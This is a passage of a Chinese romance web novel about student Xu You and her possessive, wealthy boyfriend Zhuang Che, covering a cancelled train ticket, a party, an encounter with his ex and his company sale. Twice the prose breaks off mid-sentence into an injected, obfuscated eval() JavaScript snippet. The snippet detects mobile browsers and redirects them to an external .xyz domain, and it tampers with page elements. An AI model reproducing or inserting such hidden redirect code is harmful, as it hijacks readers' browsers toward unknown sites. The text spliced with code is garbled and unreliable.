此刻，那股触感不受控制地从身体深处再次涌了上来，凉意窜进心底，在心脏的快速跳动中变得滚烫。 她忙不迭收回视线，不敢再看。 “吃完早饭咱们先把行李收拾一下吧，”南瑾书提议道，“毕竟是下午四点的火车。” 许由和乔心都没有异议。 她们今天的行程安排比较自由，因为本来就考虑到了看完演唱会，第二天会很累的缘故，所以定的就是有时间有精力就去打卡，没有就下次再去打卡。 许由三两口吃完早饭便回房间去收拾东西，庄彻见状跟着她进到房间里。 “睡衣先不着急收起来，”庄彻突然从后搂住许由，下巴搁在她肩膀上，鼻尖在她颈间轻蹭，像一只粘人的大狗狗，“当然，如果你想穿我的衣服睡觉也行。” 许由把他的脑袋推开一点，没听懂他在说什么：“你在说什么呀，我为什么要穿你的衣服？” 庄彻脑袋跟装了弹簧似的，被推开后又立刻弹回来，许由有些无奈：“我要收拾东西，你能别捣乱吗？” 庄彻搂着她腰的手又收紧了些：“不能。” “你到底想干什么？” 庄彻把脸埋进许由发间，深吸了一口，声音轻柔：“留在这里，多陪我一天好不好？” 许由感觉心里突倏地塌陷下去一块，她有些动容，却不得不拒绝道：“不行，火车票已经买好了，就是今天下午的。” 落在颈间的呼吸忽然变得急促，然后许由便听到庄彻难掩笑意，故意夹着嗓子学她说话的声音：“可是你今天下午的火车票已经被退掉了呀。” 许由起初没有反应过来，以为庄彻又在满嘴跑火车乱说，但后背贴着的胸膛震动得越来越厉害，庄彻隐忍的笑声中似乎也夹杂着计谋得逞的洋洋得意感，她意识到不对，一把推开庄彻，跑到床头拿起自己的手机。 她今天下午的火车票果然如庄彻所说，被退掉了。 “你干什么？”许由又惊又怒，赶忙想试着看看现在还能不能再买一张下午四点的火车票，可是手机却被庄彻抢去，高举过头顶。 许由蹦了半天也没够着，最后只能气呼呼地瞪着庄彻：“你不要闹了，我明天下午还有课！” 庄彻垂眼睨她，一副懒洋洋的姿态：“我买了明天上午的机票，你跟我一起回去。” 是陈述句，不是疑问句，很显然，他已经把后续的一切事情都安排好了。 许由抢不过他，愤愤地在床边坐下：“你为什么不先跟我商量一下。” 庄彻总是这样，做事一意孤行，只看自己心意。 庄彻蹲在她面前，歪头去看她，漆黑的眸子里倒映着她的脸：“跟我一起回去有什么不好吗？你还可以在Ｌ市多玩半天，而且飞机比火车快，一个多小时就到了，不会耽误你上课的。” 许由气闷，垂着眼不看他：“你没有和我商量就替我做了决定，我不喜欢这样。” “你不会同意的，所以跟你商量没有什么意义，只是浪费时间而已。”庄彻一边说着，一边用手挑起许由的下巴，强迫她和自己对视。 许由被他这一通强盗逻辑说得哑口无言。 但的确，如果庄彻一开始好好说，她大概率不会同意，只会建议庄彻和她们买同一时间段回去的火车票。 她是一个喜欢制定计划，然后严格跟着计划走的人，就好比每天晚上十二点之前必须上床睡觉，她喜欢有条理，不管是日常还是学习，都按部就班地按着计划走的生活。 而庄彻却偏偏是个随心所欲，想到什么就做什么的人，他强势又霸道，不会拉着许由跳出那些条条框框，只会直接将所有的条框束缚打破敲碎。 和庄彻在一起后，许由被迫改变了许多生活里的小习惯，她感觉到事情在朝不可控的方向发展，却不知道该如何停止。 许由没再和庄彻多说什么，反正说了他也不会听，她去到乔心南瑾书的房间，将自己行程改变的事情告诉她们，话中只说是自己退掉了火车票。 乔心和南瑾书对视一眼，然后转过头看着许由，表示对此十分理解，小情侣想要一点独处时间再正常不过了。 下午，庄彻开车，和许由送一起乔心和南瑾书去火车站。 车子停稳后，许由开门下车，绕到后备箱帮乔心南瑾书搬行李，她的手刚碰到乔心的箱子，庄彻便出现在她身前，用身体轻轻把她推开。 “我来。” 许由低垂遮着眼没看庄彻，默默退到一边。 南瑾书看着许由，总觉得她和庄彻之前的气氛有点奇怪，不像前一天那么自然，具体表现为，许由不大搭理庄彻了。 中午吃饭的时候，许由没跟庄彻说一句话，庄彻跟她说话，她也只是点头或者摇头，反正南瑾书没有见过许由对别人这样，就连跨年夜那天晚上，对待偷拍自己的男生，她也是温和又坚定地拒绝。 这样晾着人，还是头一回。 可庄彻一直笑眯眯地跟在许由身旁，嘘寒问暖，无微不至。 主要是庄彻这人吧，实在不像是会用热脸去贴别人冷屁｜股的人，所以那句“你们吵架了吗”，南瑾书到了分别时也还是没有问出口。 送走乔心南瑾书，庄彻开车带着许由去到了一家高空夜景餐厅吃晚饭，吃完晚饭后，庄彻问许由想不想四处逛逛，许由摇头，两人便回到了车上。 许由不熟悉路，所以她一开始以为庄彻是往公寓开的，直到车子缓缓停在一幢二层的小洋楼前，她才意识到不对劲，侧过头问庄彻：“我们不回公寓吗？” 这是自早上许由单方面跟庄彻冷战后，开口对他说的第一句话。 庄彻伸手过来捏了捏许由脸颊的软肉，笑着应道：“嗯，今天有个朋友过生日，带你过来玩玩，晚点再回去。” 又是这样，不跟她事先商量便提前帮她做了决定。 许由张了张嘴，最终什么也没说，默默下了车。 小洋楼内部似乎是一家club，装修是英式复古风，无论是华丽的水晶吊灯，从一楼通往二楼楼梯的雕花栏杆，还是楼梯一侧墙壁上精美的浮雕，都无不在彰显这家club主人传统的英式审美。 或许是怕许由觉得不自在，庄彻主动解释道：“今天没有外人，都是自己人，就是喝酒聊天玩游戏，不会很乱的。如果你觉得音乐声太大了受不了就告诉我，我去让他们关小一点。” 许由诧异：“还可以这样吗？” 庄彻笑：“都包场了为什么不可以？” “……”许由又不说话了。 房间很大，装修的也十分有格调，正如庄彻所说，房间里没有能闪瞎人的氛围灯，音乐节奏虽然强，但也没有到让她觉得不舒服的地步，看上去就是单纯喝酒聊天的地方。 “哎哟喂我的彻哥，您老人家总算来了。”沙发里一个剃着寸头，带着耳钉的男生懒洋洋地朝庄彻招了招手。 庄彻牵着许由走过去，言简意赅地介绍道：“高明博，我发小。” 高明博稀奇地盯着庄彻和许由十指紧扣的手，端着酒杯愣了好半天，才乐呵呵地抬头看向许由：“你好，许由，真是久仰大名啊。” “庄彻！你又迟到了！” 一道清亮高昂的女生乍然从身后响起，许由循声转头，就看见一个齐肩发，穿着偏休闲风的女生豪迈地拍了一下庄彻的肩膀。 女生就跟只欢脱小兔子似的，蹦蹦跳跳地在庄彻面前站定，把手往他眼下一伸：“快看，你昨天送我的生日礼物，我已经带上了，好看吗？” 三个人站的地方在阴暗处，但许由依旧可以看见，女生纤细的手腕上松松地垂着一条手链，满钻的四叶草在昏暗的光线中闪着灵动的碎光。 “谢谢你，我超喜欢这个生日礼物的。” 庄彻眼皮子都没抬一下：“那你谢错人了，这手链是我妈帮你挑的，钱也是她拿着我的卡刷的。” “真喜欢的话，一会记得给她发条信息，让她老人家知道她的心思没白费。” 女生：“……” 高明博：“……” 女生鼓起腮帮子瞪了庄彻几秒，放下壮志豪言：“我今天晚上一定要把你喝趴下不可！” 随后，她才像是刚发现站在庄彻身边的许由般，倏地一下睁大眼睛：“握草，这就是你的新女友吗？你怎么突然换口味喜欢这种类型的了？” 庄彻声音蓦地沉了下去：“不要乱说。” 女生撇撇嘴，上前一步走到许由面前，朝她伸出手：“你好，我叫薛静璇，是庄彻的发小。” 许由礼貌地和她回握：“你好，许由。” 非常简单的公式化问候之后，薛静璇迅速抽回手。 许由离她比较近，所以许由没有错过她转过身时的小声嘟囔：“换口味就是换口味了嘛，怎么还不让人说呢。” …… “许由？” 许由的手被人轻轻捏了一下，她回过神，对上庄彻那张放大的帅脸。 庄彻抬手捏了捏她的脸：“傻站着干什么？” “没什么。”许由垂下眼，避开他的视线。 今天这场派对的主人公是薛静璇，说是生日趴，但其实她生日在昨天已经过了一次了，今天就是用生日当个由头包个场，跟好友们一起喝酒聊天玩游戏而已，大家的穿着也很随意。 来的人都是薛静璇的同学和好友，所以庄彻在给许由介绍完高明博 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“行了。”高明博见桌上气氛不大对，站起身，对庄彻打了一个响指，“庄彻，你不喝酒就跟我过去玩会牌。” 庄彻看了眼不远处的牌桌，转头问许由：“你想玩吗？” 高明博终于受不了他这副黏黏糊糊的模样了，爆了一句粗口：“艹。” “请问您是刚断奶啊，还是不识数想让人帮你看啊，就几步路的距离，您坐在那边腿一伸都能搭到这张桌子上来，非拉着人家干什么？以前也不见你这样啊，吃错药了？” 庄彻脸皮厚，任高明博再怎么说他自巍然不动，但许由不一样，她脸皮薄，闻言用力把自己的手抽回来：“你去吧，我就在这里坐会。” “行，”庄彻揉揉她的脑袋，起身，“想吃什么想喝什么就自己拿。” “桌上的酒度数高，如果想喝就另外点……” 高明博朝天翻了一个白眼，转身就走。 庄彻交待完许由后，不紧不慢地跟上。 看各自的牌时，庄彻左手一闪而过一道银白色的淡光，被高明博眼尖地捕捉到，他朝那处看去，然后发现那道光居然来源于一个的银色戒指。 他心里又纳闷又稀奇，要知道他当初打耳洞的时候，可是在庄彻鄙夷的目光里度过了整整一个星期。 庄彻从来不喜欢这些花里胡哨的东西，今天怎么突然想起戴戒指了？ “啪！” 庄彻一巴掌拍在高明博欲行不轨的狗爪上，高明博手背顿时红了一片，他揉着手，委屈又生气地道：“我就想看看你的戒指！” 庄彻冷哼：“看看需要用手吗？” 高明博不敢置信：“这戒指就是最普通的款，连颗钻都没有，也就万把块钱的货，你至于看得跟心肝宝贝似的吗？” 庄彻轻嗤：“戒指有价，心意无价，嫌便宜你就别动手动脚的。” 高明博被这话肉麻得打了个哆嗦，一分钟后，反应过来：“这戒指……不会是许由送你的吧？” “跟。” 庄彻丢了个筹码出去，心情颇好地点了点头。 高明博的表情顿时变得一言难尽：“她……送你个扳指是什么意思？” 庄彻施舍给他一个同情的目光，单身狗怎么可能会明白情侣之间送礼物的情｜趣：“她夸我穿西装帅。” 高明博：……是他语文没学好吗？这两句话之间哪里有联系了？！ － 庄彻离开后，许由百无聊赖地坐在沙发里，看到薛静璇之前给庄彻倒的那杯酒还原封不动地放在桌上，她起了好奇心，端起来抿了一口。 又辣又冲，她皱着眉又把酒杯放回去。 “你叫许由是吧？” 许由转头，正好对上薛静璇打量的视线，下一秒，薛静璇就跟变脸似的，朝她绽开一个灿烂的笑容：“我早就听说过你啦，久仰大名。” 许由客气地回以一笑：“今天是你的生日吗，生日快乐。” 薛静璇连连摆手：“哈哈不是的，其实昨天才是我的生日，今天这个嘛，你可以理解成afterparty。” “你昨天晚上为什么没有来，还以为庄彻来的时候会带上你呢，毕竟他以前也经常带人来，我都习惯了。” 对上许由疑惑的目光，薛静璇多解释了一句：“以前每年我生日，我们都要玩通宵的。但昨天晚上庄彻提前走了，我当时就猜他可能是去找你了，现在看来，我猜得果然没错。” 许由语气平淡：“昨天晚上我有事。” “这样啊，我就说嘛。”薛静璇见怪不怪地道。 “Annie！”不远处的桌子有个男生冲薛静璇招手，“干坐在那里喝酒有什么意思，快过来玩游戏。” “来啦！”薛静璇端起酒杯跑过去。 男生视线随后落在许由脸上，眼底浮现出一抹惊艳的神色，见薛静璇走过来，刚想开口问，视线却被薛静璇阻断：“哥几个玩什么呢？” 问话就这么不了了之。 30. 第 30 章 牌桌上，高明博和庄彻这一把牌不好，都没选择跟，有一搭没一搭地闲聊起来。 “周五晚上……你没跟你爸妈闹吧？” 庄彻父母这段时间也在Ｙ国，不过他们没跟庄彻住一块，一是因为孩子大了翅膀硬不好管，二则是因为看到他就糟心。 庄彻从小就被一个人丢在家里自由生长，虽说他这个性子坏事没少干，但成绩倒是从始至终的好，没让庄父庄母操过心。 等上了大学，家里公司的事业更加如日中天，再加上庄彻合理利用家里的人脉关系，跟人合伙投资开了家公司，他出钱，别人出技术，不靠父母照样混得风生水起。 庄彻成了那个“别人家的孩子”，也成了他们那个圈子里炙手可热的“女婿人选”。 他们站得太高，背后不是一个人或者一个家庭的事，而是一个庞大的商业帝国。 相亲，说的好听点叫强强联合，说的不好听点其实就是利益和资源的置换，庄父庄母便是如此。 隔行如隔山，行业和行业之间的壁垒是很难打破的，要想快速进入另一个行业，最省时省力的办法要么是收购，要么就是合作。 庄家在当下的行业已经坐到了龙头的位置，不管是从短期还是长期的发展来看，都很难会有后来者超越。 但钱嘛，谁会嫌多呢，一个行业做到顶了，自然就会想把商业板块扩展，去别的行业里也捞一杯羹。 所以，庄父庄母把主意打到了自己的儿子身上，可惜，庄彻不是一个甘愿被人安排的人。 他一连搅黄了好几次相亲，到最后，庄父的一句“你以为你的婚姻你能做得了主”彻底把最后一层体面撕开，从那之后，但凡家里想给庄彻介绍相亲，他就从外面带一个女孩子回家去吃一顿家宴，搅局的同时还能气气父母。 偏偏他自个手上有钱，庄父停他信用卡，他眼睛都不带眨一下的，日子过得有滋有味，丝毫不受影响。 周五，庄父庄母要去参加一场私人晚宴，带着庄彻这个“不孝子”一起。 庄彻去之前便隐有预感，但他什么也没做。到了地方后，果然，一个眼熟的合作商带着他二十岁的女儿很快凑上前来，和庄父庄母相谈甚欢。 而这一次，庄彻一反常态地风平浪静，平静到庄父庄母以为他要憋个终极大招，提心吊胆了一整晚。 宴会结束，宾客各自散去，庄彻从头到尾都没有给那位女生分去半点目光，他开车跟在庄父庄母的车后，跟着他们回到位于郊区的豪宅。 一进屋，庄彻直奔主题：“爸、妈，我有喜欢的人了，这次是认真的。” “我说出来不是为了征求你们的同意，只是通知，因为不管你们喜不喜欢她，愿不愿意接纳她，我都不会和她分开。” “我这辈子就她了，死也不会放手。” …… 庄彻右手抚上戒指，视线看向不远处的沙发，女生正低头看着手机，屏幕在她脸上投下一层薄薄的冷光，他看不清她脸上的表情，可单是一个剪影，便能让他的心瞬间平静下来。 “以前跟他们闹，是因为我也不知道自己到底想要什么，只是单纯的不想让他们操控我的人生。但现在不一样了，我很清楚自己想要什么。” “所以这一次，我没跟他们闹。”庄彻不紧不慢地道。 高明博愣住了，不敢相信刚才的那番话竟然是从庄彻嘴里说出来的。 他以前看着庄彻身边的女生流水线似的换着的时候，偶尔也想过庄彻如果真的喜欢上一个人会是什么样子，可很快他便被这种想法逗笑。 喜欢对于庄彻这样的人来说，是束缚，而他永远不可能被束缚。 此刻，高明博沉默地看着庄彻，他恍然间觉得，如果现在真有那么一条锁链悬在庄彻的面前，他一定会心甘情愿地把自己套进去，只要锁链的另一头是被许由牵着的。 高明博不知道该说些什么，更想不通自己的兄弟怎么就在短短的几个月时间里，完全变了一个人。 “对了，”庄彻突然开口，“我拜托你帮我办的那件事怎么样了？” 高明博一拍脑袋：“瞧我这记性，差点忘了。” “珠宝设计师那边帮你联系好了，能接，就是估计得排到明年年后了。别嫌弃啊，就这，还是我把我爷爷搬出来，跟她磨了半个月才磨来的，不然你得等更久。” 庄彻笑：“谢了，谢礼已经给你送过去了，你晚上回去就能看到。” “哈哈，是什么？不会是之前我看上的那块表吧。” 庄彻应得漫不经心：“嗯。” 高明博一个垂死病中惊坐起，激动得语无伦次：“握草！那表，那表，那表，全世界就几块，你你你真舍得给我？” “你别嫌弃我带过就行。” “怎么会嫌弃，不嫌弃不嫌弃，一点也不嫌弃！”高明博笑容谄媚，在衣服兜里摸摸索索出一张名片递给庄彻：“这是她工作室的地址，她下周只有周三有空，去之前记得先联系一下她的助理。” 庄彻接过名片：“谢了，回来之后请你吃饭。” “嗐，咱俩的关系，说这些。” 高明博挠了挠脑袋，盯着庄彻手上的戒指犹豫半天，还是忍不住好奇问出了口：“你不会……也想送许由一枚戒指吧。” 手中名片锋利的边缘划过指腹，庄彻垂眸，自嘲般勾起唇角，声音很低，被淹没在周围的嘈杂里，没让高明博听到： “我倒是想，可她不会要的。” － 哗啦。 复古铜制水龙头里，水柱倾流而下，卫生间内，占据整面墙的镜子被擦拭得一尘不染，清晰地映出许由被酒气熏得酡红的脸。 许由酒量一般，平时和乔心南瑾书她们一起喝的时候都会有意控制，今天不知道是怎么了，等她回过神来时，手边的一瓶洋酒已经被她倒得见底了。 醉意后知后觉地涌上来，许由便来卫生间冲冲冷水，清醒一下。 又有人走进来，许由没过多在意，捧了一抔冷水就要往脸上拍，余光却无意间瞥见，那道身影默默在自己身后站定。 许由抬眼，在镜中对上女生审视的目光。 她看着女生的脸愣了几秒，而后脑中一道白光倏地闪过，她终于想起来，自己之前见过这个女生，就在去年九月底，她第一次遇见庄彻的那间酒吧里。 两相沉默片刻，女生忽然笑了：“我刚才还以为我看错了，没想到真的是你。” 她笑容逐渐变得苦涩：“Annie跟我说，庄彻今天会带他的新女友来，可是我怎么都没有想到，他的新女友竟然会是你。” 许由关掉水龙头，莫名有些不敢对上女生的视线。 当下这一幕，真是戏剧又荒诞。 五个月前，许由以一个局外人的身份，平静且淡漠地看着女生在一段明显已经结束了的感情中苦苦挣扎。 五个月后，两人身份对调，身处局中无法自拔的人变成了她。 女生上前一步，站到许由身旁，她看着许由的侧脸，突然问：“你知道我是怎么跟庄彻在一起的吗？” 见许由没有反应，她仍自顾自地说道：“是我向他告的白，然后他同意了，我们两个就在一起了。” 女生拧开水龙头，将手伸到水下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572833|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在一起之后，他真的对我挺好的，我喜欢什么，想要什么，无论多贵多麻烦，他都能想办法将其送到我面前。所以，就算我知道他以前的那些事，知道他是什么样的人，我依然觉得自己对他来说是不一样的。” “后来，开学了，他出发去X市的那天，我甚至还去了机场送他。” 女生眼神飘忽，像是完全沉浸在了那段往事里：“第二天，他到X市的第二天，就跟我提了分手，再之后的事情，就是你看到的那样。” “你是不是觉得我很傻？”女生话锋突然一转，问许由道。 许由被问得一愣，随即摇头。 女生苦笑：“你不用安慰我，我现在想起来，也觉得自己当时挺傻的。可是，换谁能接受呢？” “前一天我们还在机场笑着分开，我们之间没有吵架，甚至连斗嘴都没有，他却突然提出分手，在我真的、真的很喜欢他的时候。” 水珠一滴、一滴沿着许由指尖落下，带走她皮肤的温度。女生看着许由眼底因为自己的话，悄无声息地卷起一场静默风暴，声音越发的平静。 “我后来想了很久才想明白，其实在我和他交往的时候，他对我也没有多在乎。我喜欢想要的那些东西，对他来说根本不算什么。” “所以说，他这个人啊，无论任何东西都能轻易得到，他不知道什么叫喜欢，更不会懂什么叫珍惜。” 许由始终沉默。 女生一瞬不瞬地看着她，眼底情绪缓慢汇聚成一种矛盾的感同身受：“你当时的那一番话，没能让我变得清醒，不知道我现在说的这些，能不能让你清醒一点。” 走出卫生间之前，女生回头，再次看向仍站在原地一动不动的许由。 嫉妒，其实是有的，在看到许由被庄彻牵着走进房间时，她无法抑制地回想起自己之前和庄彻在一起的时候。每次和他并肩，自己都会有意无意地把手背贴上他的，然后指尖再一点一点摸索着伸进他的掌心。 庄彻脸上神色不变，由着她牵，却不会回握。 女生不知道庄彻和之前的那些女朋友都进行到了哪一步，但在她和庄彻交往的短短两个月里，两个人的接触仅仅发展到牵手，而且还总是被各种各样的小插曲打断。 但在其他方面，庄彻却又是无可挑剔的。出门逛街，他从来不会让自己付钱，自己的目光但凡在哪个东西上多停留了几秒，庄彻便会问：“喜欢？” 如果她点头，庄彻就会毫不犹豫将那个东西买下送给她。 现在想来，那何尝不是一种补偿，一种对于玩弄她感情的，补偿。 可除了嫉妒之外，女生对于许由，还有一种说不清道不明的复杂情绪，或许是因为在自己最狼狈的时候，她没有配合庄彻欺骗自己，也没有做出一副高高在上的姿态俯视自己，反而还说出那样的一番话。 所以，刚才在卫生间对许由说出那些话的时候，她的语气一直都是平淡的，比起讽刺嘲笑，更类似于平静地叙述。 或许，是不想让许由在一切突兀地结束时，变得和自己一样狼狈吧。 许由不知道自己在卫生间里待了多久，但等她回到房间里，视线下意识地四处搜寻时，却没有再见到女生的身影。 女生似乎已经离开了。 庄彻坐在许由原先的位置上，见许由回来，立刻起身上前，他手指轻轻抚过许由微红的眼角：“你喝了很多酒？” “嗯。” “你醉了，我们回去吧。” 许由乖乖被庄彻拉着朝外走，她在心里默默想着，女生刚才有一句话说错了。 她其实一直都很清醒。 31. 第 31 章 复活节假期即将到来，一个月的放假时间，乔心和南瑾书已经开始计划起假期的欧洲行了。 许由因为没有申根签，只能和她们遗憾错过。 周二放学，炸鸡店内。 “那正好呀，我假期也没着落呢，咱俩搭个伴，就在Ｙ国境内玩玩。”陆雨竹得知许由“落单”后，立即对许由发出邀请。 两人一拍即合，许由转头便在某程上研究起了跟团游。 吃完晚饭，她们转移阵地，回到陆雨竹的公寓继续研究，两人最后定下去Ｙ国北边的一个岛屿——天空岛游玩。 许由正在对比五天四晚比四天三晚的行程多了哪些景点，旁边的陆雨竹突然发出一声饱含疑惑的“咦”。 “怎么了？” 陆雨竹拿着手机，面色犹豫，但过了会，还是把手机递到许由面前：“这是我本科同学刚发的朋友圈，她现在应该算是长住在Ｌ市，她……” 陆雨竹话没有说完，不过许由看到屏幕里的照片后，便大致猜出她想要说些什么了。 这是一张合照，照片中不管是男生还是女生穿着打扮都十分清凉，四周光线昏暗，只有一束红色的暗光从镜头外斜斜地打在他们的脸上，他们身处的地点应该是Ｌ市的某家club。 在他们身后不远处，庄彻好整以暇地倚在沙发里，他穿着一件白色衬衫，领口扣子松开两颗，袖子挽起到小臂，下半身隐没在黑暗里，视线落在某处，唇角微勾，倨傲又张扬，带着无形的压迫感，尽管身处角落，却依旧是这张照片里最抢眼的存在。 而这张照片里不止有庄彻一个熟人，还有高明博和薛静璇，拍下这张照片的时候，薛静璇正转身朝着沙发里的庄彻招手。 陆雨竹斟酌着许由的脸色，小心翼翼地问道：“你最近跟庄彻，有经常见面吗？” 许由摇头。 上周一从Ｌ市回来，两人分开之后便没有再见过面。 庄彻事情其实一直都挺多的，但真正忙起来不见人影还得从二月中下旬开始算起。 之前庄彻只是跟许由提过一嘴，不过后来两人打视频电话的时候，庄彻也透露过，他那间公司经营和业务的重心都在Ｙ国，但他研究生毕业以后不准备长留Ｙ国，所以现在他打算把手里握着的公司股份转让出去。 许由不大懂这些，但她清楚这必然不会是什么简单的事情，她帮不上庄彻的忙，能做到的只有不去打扰。 从上周一分开到现在，两人就只有在上周三晚上打过一个视频电话，视频里庄彻醉醺醺的，就看着她傻笑，问他什么事他也不说。 许由觉得他大概真的是累了，明明是一个酒量这么好的人，却被灌到深更半夜给她打电话发酒疯。 所以许由后来什么也没问，只是让视频电话通着，然后继续做自己的事情，等到庄彻睡着之后，她才把视频通话挂掉。 “你们……”陆雨竹欲言又止。 许由回神对上她担忧的视线，笑了，反过来安慰道：“放心，我和庄彻之间没事。” “他如果不喜欢了不会搞冷暴力那套的，一定会直接提出分手。” 关于这一点，许由十分确定，就像去年在清吧的那条走廊里一样。说庄彻爱憎分明也好，说他直来直往也好，反正他从不屑于掩饰自己的想法。 陆雨竹见状不再多问。 许由垂下眼看回手机屏幕，但心思却怎么也回不到刚才在忙的事情上了。 她宽慰陆雨竹的那番话不假，但会不会，庄彻已经开始对和她相处感觉到腻了？ 她自认为不是一个有趣的人，日常没事的时候，除了看电影，就是研究菜单，要么就是出门漫无目的地闲逛，庄彻跟她相处的久了，觉得她无聊实属正常。 她打不来庄彻喜欢玩的木仓战游戏，无论去再多次，也无法习惯酒吧震耳欲聋的音乐声和灯红酒绿的氛围，跟庄彻在一起的时候，除了看电影，就是…… 他们的身体无比契合，却很少会走进对方的精神世界。 许由回想起刚才看到的那张照片。 如果说庄彻是在高楼大厦、华灯璀璨下盘旋自如，游刃有余的风，那么她便是在山野林间、小溪流水旁停泊的鸟。 他们注定不会是一个世界的人。 － “你好，请问可以加你一个微信吗？” 女生今晚本来是被朋友带着来玩的，却不想一到club，就被沙发角落里，那个穿着衬衫西裤的男生吸引去了全部的目光。 男生不爱说话，大多数时候都只是喝酒，就连拍照的时候也坐在沙发里懒得动一下，妥妥的禁欲系帅哥没跑了。 因此，女生鼓起勇气，在强有力的鼓点声中，举着手机走到庄彻跟前。 而面对身前满眼期待的女生，庄彻只是懒洋洋地抬手，向她展示自己无名指上那枚明显大了许多的戒指。 “……” “不好意思。”女生红着脸回到自己座位。 高明博哭笑不得地看着庄彻的手，语气十分不解：“这不是个扳指吗，你怎么戴在无名指上？这都大了一圈呢，不怕掉啊。” 庄彻斜睨他一眼，冷哼：“谁跟你说它是扳指了，人官网上明明白白地写了戒指，我想戴哪个手指就戴哪个手指。” 高明博：“……你要是真这么想带无名指，干脆去把它改小不就得了。” 庄彻又沉默着不说话了。 “在聊什么呢？”薛静璇端着酒杯坐到庄彻旁边，“你公司的事情都处理得差不多了？” 庄彻呷了口酒：“嗯。” 高明博闻言长叹一口气，意有所指地问道：“不觉得可惜？” 庄彻笑：“又不是亏本买卖，赚了不少，有什么好可惜的。” 高明博：“你知道我说的不是这个。” “这家公司是你当初费劲巴拉搞起来的，现在好不容易走上正轨了，你却突然抽身离开，不觉得可惜？” 庄彻放下酒杯：“我本来就没打算长居在Ｙ国，迟早都会回去的。” 庄父庄母就他一个儿子，就算见面时看他再怎么鼻子不是鼻子，眼睛不是眼睛的，但等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597008|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到老了以后还是会把公司交到他的手上，所以哪怕庄彻想，庄父庄母也不会同意他一直留在Ｙ国。 庄彻现在只是把原定的计划提前了一两年而已，至于是为了什么…… 他懒洋洋地倚进沙发，摩挲着手上的戒指不说话了。 高明博察觉到他情绪不高，便也不多问。 薛静璇却看不懂庄彻的沉默，好奇道：“可你又不是明天就要立刻回国，为什么这么急着去办那些事？” 明明马上就是复活节了，有一个月的空闲时间，庄彻却非要赶着在假期前结束这些事，同时还要兼顾学业，Ｌ市Ｘ市两头跑，把自己搞得那么累，两三天加起来只能睡几个小时，至于么。 “呵，”高明博短促地笑了声，“还能是为了什么？” 他用眼神点了点庄彻的手，示意薛静璇往他手上的那枚戒指看：“还不是为了他的那位心、肝、小、宝、贝。” 庄彻笑着踹了他一脚：“你恶不恶心。” “哪里哪里，比不上您比不上您。” 这边高明博和庄彻正互相“谦虚”着，那边薛静璇盯着庄彻手上的戒指默默出神，过了会，嘴角挤出个笑：“我感觉许由性子挺闷的，我生日趴那天，你把她带过来她就在沙发里坐着，跟个闷葫芦似的，又不喝酒又不社交，也不跟着你玩牌，和这种人待在一起有什么意思？” 庄彻脸上笑容依旧，却没了和高明博打闹时的那股散漫劲，他朝薛静璇睨去一眼，眸色幽深。 薛静璇无所谓地耸耸肩：“我说的是实话啊，你以前交往过的那些女友我又不是没见过，许由这么闷，你又是个爱玩的性子，你们俩从性格上就已经不合适了，更别提叔叔阿姨会不会喜欢她。” 庄彻收回视线，语气平淡，辨不出喜怒：“他们喜不喜欢不重要，我喜欢就行了，毕竟以后的日子许由是跟我过，不是跟他们过。” 薛静璇脸上笑容顿时变得有些勉强：“哪里就说到以后了，人家愿不愿意还两说呢，我看她对你好像也没有多上心，不像你之前的那些女友，都围着你转，那天晚上我看她都不太搭理你。” 见庄彻不说话，她继续追问道：“你忙了这么些天，她有主动给你打电话，关心询问过你的情况吗？” 庄彻垂下眼，长且密的眼睫落下一片阴影。 左手无名指上的戒指已经被他指腹的温度染得温热，他在心里默默想着，戒指套在无名指上，果然还是有点太大了，硌得慌。 高明博见气氛不对，赶紧站出来打圆场：“人家小两口的事你这么上心干嘛，也有可能，也有可能，人家许由是害羞，才没有来找庄彻，又或者，又或者……” 高明博此刻挤眉弄眼的表情生动诠释了一句网络热梗——死脑子，快想啊。 庄彻突然轻笑出声：“她喜不喜欢我——” “不重要，我喜欢她就行了。” 再说了，一辈子那么长，只要他不放手，死死地缠着许由，总有一天许由会喜欢上他的。 多少都没关系，只要是喜欢，就够了。 32. 第 32 章 深夜。 许由在睡梦中被手机铃声吵醒，她迷迷糊糊地摸到枕头旁的手机，接起电话：“喂？” “……” 电话那头迟迟没有回应，许由瞌睡还没醒，闭着眼半张脸埋在被子里，又问了一遍：“喂？” 仍是没有回应。 许由的瞌睡稍稍醒了一点，她疑惑地把手机放到眼前，屏幕上显示着两个大字——庄彻。 “庄彻？你有事吗？”许由单手支着从床上坐起。 电话那头似乎有风声，过了许久，她才听见庄彻的声音响起，还是惯常的散漫语调：“没事就不能打电话找你吗？” 许由又把手机放到眼前，看一眼左上角的时间。 1:01。 您要不要看看现在几点呢？许由在心里默默吐槽了一句。 她此刻已经完全清醒过来，按开房间的灯，盘腿坐在床上：“怎么了，是出什么事了吗？” 庄彻不是那种无理取闹，大半夜打电话过来只为了把你叫醒逗你一下的人，许由猜测他或许是遇到什么麻烦了，心里烦，大半夜的只能找自己倾诉。 “是公司的事情不顺利吗？” “……不是。” “那——” “滴滴滴——” 房间里的烟雾报警器骤然响起，尖锐刺耳的警报声吓了许由一跳，也让她大脑短暂地空白了一瞬，忘记自己刚才想要说些什么。 Y国这边的学生公寓都会安装烟雾报警器，格外灵敏，格、外。 因此，网络上每年都能看到在Ｙ国的中国留学生在做菜时，花式堵烟雾报警器的段子。 